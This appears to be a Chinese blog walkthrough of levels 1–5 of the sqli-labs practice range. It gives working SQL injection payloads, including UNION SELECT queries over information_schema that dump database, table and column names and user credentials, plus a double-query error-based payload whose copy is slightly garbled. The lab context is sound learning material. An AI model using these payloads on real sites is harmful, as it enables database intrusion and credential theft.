天天看點

sqli-labs 1-5關

這次寫一個關于sql注入的闖關遊戲,叫sqli-liabs,這個源碼在網上搜尋一下sqli-liabs源碼下載下傳,放到phpstudy環境裡,
  注意:這裡把phpstudy版本調到5.5,别問我為什麼,廠長是我的表哥
           

下面先說一下,

注入分為數字型注入和字元串型注入

差別:

?id=1 and 1=1

?id=2 and 1=2

回顯不一緻則為數字型注入,回顯一緻的話再繼續判斷

?di=1’ and 1=1 --+

?id=1’ and 1=2 --+

(- -+)這裡是轉義字元,此時回顯不一緻的話,則為單引号字元型注入

- 要是回顯一緻的話再繼續檢視源碼測試為哪個符号

第一關:

sqli-labs 1-5關
sqli-labs 1-5關

判斷查詢列數:order by 3 傳回正确,byderby 4 錯誤

證明它有3個字段,沒有第4列

sqli-labs 1-5關

判斷顯示位:利用報錯注入,union是聯合查詢,意思是倆個select查詢結果合并,我們把左邊的設定為空集那麼右邊的select查詢自然成了第一行,這就是union select。

?id=-1’ union select 1,2,3 --+

sqli-labs 1-5關

查詢所有資料庫名:

union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

sqli-labs 1-5關

查詢資料庫中的表名:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 --+

sqli-labs 1-5關

擷取列名:

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3 --+

sqli-labs 1-5關

擷取字段:union select 1,(select concat_ws(username,password) from users limit 1,1),3 --+

sqli-labs 1-5關

第二關:根據文章開頭來注入,判斷它是數字型注入,隻需要?id=-1 後面就和第一關一樣 直接進行注入就可以了

第三關:它是基于錯誤的GET單引号變形字元型注入,需要加上‘)來進行閉合可以測試一下子

第四關:它是基于錯誤的GET雙引号變形字元型注入,需要加上“)來進行閉合可以測試一下子 ,但是這一關你用單引号閉合不會報錯因為雙引号會包含單引号。

第五關:看網上說 它是雙注入GET單引号字元型注入,這個雙注入我也不會,哈哈哈,是以大家可以直接搜尋一下 ”詳細講解雙查詢注入”,其次我複制個網上大神的代碼,是以見諒看一下

’ union select count(),count(), concat((select database()), floor(rand()2)) as a from information_schema.tables group by a --+

’ union select count(),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+

繼續閱讀